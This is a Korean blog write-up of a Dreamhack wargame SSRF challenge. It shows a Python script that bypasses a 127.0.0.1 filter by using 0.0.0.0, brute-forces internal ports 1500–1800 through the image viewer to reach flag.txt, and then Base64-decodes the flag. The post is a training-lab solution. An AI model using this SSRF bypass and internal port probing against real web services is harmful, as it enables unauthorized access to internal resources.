2021. 8. 25. 00:35ㆍDreamhack Wargame
/img_viewer 페이지에 들어가 보겠습니다.
기본값으로 /static/dream.png라는 url이 들어있습니다.
View를 눌러서 무슨 파일인지 확인해보겠습니다.
그냥 드림핵 로고 그림의 png 파일이었습니다.
소스코드에서 elif 부분을 보면 POST 형식으로 보내야 한다는 걸 알 수 있습니다.
이제 어떻게 flag.txt를 찾아야 할지 생각해봐야 하는데, 여기서 local_host 변수를 보면 host는 127.0.0.1로 고정입니다.
하지만 local_port 변수는 1500~1800 사이 범위에서 랜덤으로 주어집니다.
그렇기에 이 port를 중심으로 Brute force를 돌려서 문제를 해결하면 될 것 같습니다.
또한, 코드에서 elif 안에 있는 elif를 보면 127.0.0.1을 필터링하는 것을 볼 수 있습니다.
그렇기에 이 주소를 우회하여 문제를 풀어야 합니다.
https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4
우회 방법은 위의 링크를 참고했습니다.
import requests
for i in range(1500,1801):
url='http://host1.dreamhack.games:15701/img_viewer'
a = 'http://0.0.0.0:'+str(i)+'/flag.txt'
res = requests.post(url,data={'url':a})
if 'w+ECceYQ4N3fwAAAABJRU5ErkJggg==' not in res.text:
print(i)
break
이 코드를 돌려서 나온 url을 /image_viewer에 넣어봤습니다.
깨진 이미지 파일 하나가 나왔습니다.
F12로 개발자 도구에 들어간 후 html 코드를 봤습니다.
REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9
깨진 이미지에는 위와 같은 데이터가 들어있었습니다.
소스코드를 보면 Base64로 FLAG가 인코딩 되어있는 것 같으니, 이를 Base64로 디코딩하면 FLAG가 나올 것입니다.
파이썬 코드에 날려먹은 시간이 2시간 반.....
드림핵 서버 느린 것도 한몫하고, 거기에 자잘한 실수까지 더해지니 진짜 정신 나가는 줄 알았습니다.
'Dreamhack Wargame' 카테고리의 다른 글
devtools-sources 풀이 (0) | 2021.09.05 |
---|---|
php-1 풀이 (0) | 2021.09.05 |
blind-command 풀이 (0) | 2021.08.18 |
csrf-2 풀이 (0) | 2021.08.17 |
xss-2 풀이 (0) | 2021.08.17 |